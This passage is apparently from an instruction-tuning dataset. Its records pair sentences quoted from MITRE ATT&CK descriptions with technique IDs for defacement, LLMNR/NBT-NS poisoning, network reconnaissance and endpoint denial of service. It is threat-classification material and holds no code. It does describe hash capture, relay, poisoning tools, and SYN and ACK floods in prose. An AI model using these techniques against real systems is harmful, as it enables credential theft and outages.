T1491."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion.", "output": "T1491", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. ### Response: T1491."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages.", "output": "T1491", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. ### Response: T1491."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users.", "output": "T1491.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. ### Response: T1491.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system\u2019s integrity.", "output": "T1491.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system\u2019s integrity. ### Response: T1491.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site)", "output": "T1491.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) ### Response: T1491.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government.", "output": "T1491.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. ### Response: T1491.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation:", "output": "T1491.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: ### Response: T1491.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trend Micro Deep Dive Into Defacement)", "output": "T1491.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trend Micro Deep Dive Into Defacement) ### Response: T1491.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification.", "output": "T1171", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. ### Response: T1171."}{"instruction": "List the MITRE techniques contained in the text.", "input": "LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts.", "output": "T1171", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. ### Response: T1171."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NBT-NS identifies systems on a local network by their NetBIOS name.", "output": "T1171", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NBT-NS identifies systems on a local network by their NetBIOS name. ### Response: T1171."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)", "output": "T1171", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS) ### Response: T1171."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system.", "output": "T1171", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. ### Response: T1171."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system.", "output": "T1171", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. ### Response: T1171."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.", "output": "T1171", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. ### Response: T1171."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system.", "output": "T1171", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. ### Response: T1171."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The relay step can happen in conjunction with poisoning but may also be independent of it.", "output": "T1171", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The relay step can happen in conjunction with poisoning but may also be independent of it. ### Response: T1171."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).", "output": "T1171", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). ### Response: T1171."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)", "output": "T1171", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder) ### Response: T1171."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's networks that can be used during targeting.", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's networks that can be used during targeting. ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS) ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather the victim's IP addresses that can be used during targeting.", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather the victim's IP addresses that can be used during targeting. ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use.", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS) ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example services include websites, email services, DNS, and web-based applications.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example services include websites, email services, DNS, and web-based applications. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can target various layers of the application stack that is hosted on the system used to provide the service.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Botnets are commonly used to conduct DDoS attacks against networks and services.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Botnets are commonly used to conduct DDoS attacks against networks and services. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Large botnets can generate a significant amount of traffic from systems spread across the global internet.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Large botnets can generate a significant amount of traffic from systems spread across the global internet. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China) ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498). ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS).", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A flood of ACK packets are sent to the target.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A flood of ACK packets are sent to the target. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This forces the OS to search its state table for a related TCP connection that has already been established.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This forces the OS to search its state table for a related TCP connection that has already been established. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When 